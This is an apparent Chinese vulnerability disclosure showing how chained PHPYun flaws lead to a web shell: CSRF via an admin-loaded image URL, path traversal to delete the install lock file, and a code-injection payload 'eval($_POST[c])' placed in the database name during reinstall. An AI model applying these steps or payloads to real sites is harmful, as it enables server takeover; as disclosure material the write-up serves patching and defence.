### 简要描述:
phpyun多漏洞组合写shell(有条件限制)
### 详细说明:
1.
Phpyun的后台基本都有token。
之所以说基本,是因为还漏掉了一个关键的地方。
[<img src="https://images.seebug.org/upload/201409/13215227ec71999b2d3728478eb259c2eb056933.png" alt="图片1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/13215227ec71999b2d3728478eb259c2eb056933.png)
Phpyun的管理员帐号密码都在phpyun_admin_user表中。
用上面的方法进行备份,是没有token的
[<img src="https://images.seebug.org/upload/201409/13215250866199e2788c9f7c06f306bbe274ee3f.png" alt="图片2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/13215250866199e2788c9f7c06f306bbe274ee3f.png)
限制条件
```
http://wooyun.org/bugs/wooyun-2014-064004 感谢u神
```
然后如下。
[<img src="https://images.seebug.org/upload/201409/13215324433e527aee30e95545ca276bf59ad015.png" alt="图片3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/13215324433e527aee30e95545ca276bf59ad015.png)
2.
好的,再来说如果实现上面这个get的问题。
我们注册一个企业用户。
然后在添加一个表情,然后修改图片属性,地址。
[<img src="https://images.seebug.org/upload/201409/13215436537846a8d0bc5fd4152f580f6bbf3039.png" alt="图片4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/13215436537846a8d0bc5fd4152f580f6bbf3039.png)
[<img src="https://images.seebug.org/upload/201409/1321544378c1b9af50344ff4b5904f119a94747f.png" alt="图片5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/1321544378c1b9af50344ff4b5904f119a94747f.png)
把图片的url改成我们上面的地址。
然后等管理员,审核企业信息的时候就行了。(觉得速度慢,可以加点社工。)
3.
进入后台
数据库删除
[<img src="https://images.seebug.org/upload/201409/1321551517f59b50c33147a29bcf1128e2266706.png" alt="图片6.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/1321551517f59b50c33147a29bcf1128e2266706.png)
[<img src="https://images.seebug.org/upload/201409/13215528756fa96cf40a8312c5dd098679eea254.png" alt="图片7.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/13215528756fa96cf40a8312c5dd098679eea254.png)
对提交的参数没有进行过滤,可以删除lock文件
Sql那个参数那改成 ../phpyun .lock
然后我们就可以重新安装phpyun了。
### 漏洞证明:
4.
下面就可以重新安装了。
重新安装的话在数据库名称那,
可以抓包对数据库名进行修改,页面有js限制。
[<img src="https://images.seebug.org/upload/201409/132155596582726ba4925ba22510c4f5896e1d5c.png" alt="图片8.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/132155596582726ba4925ba22510c4f5896e1d5c.png)
由于没有读取到数据库的帐号密码,我们只能尝试外联。(图中为本机)
抓包修改
数据库名 xx',1=>eval($_POST[c]),'xx'=>'
[<img src="https://images.seebug.org/upload/201409/132156197510a237c19392007c2ce329afee78b2.png" alt="图片9.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/132156197510a237c19392007c2ce329afee78b2.png)
然后 db.config.php 如下
[<img src="https://images.seebug.org/upload/201409/13215629d342737375cbd26678d0f2ee65094424.png" alt="图片10.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/13215629d342737375cbd26678d0f2ee65094424.png)
暂无评论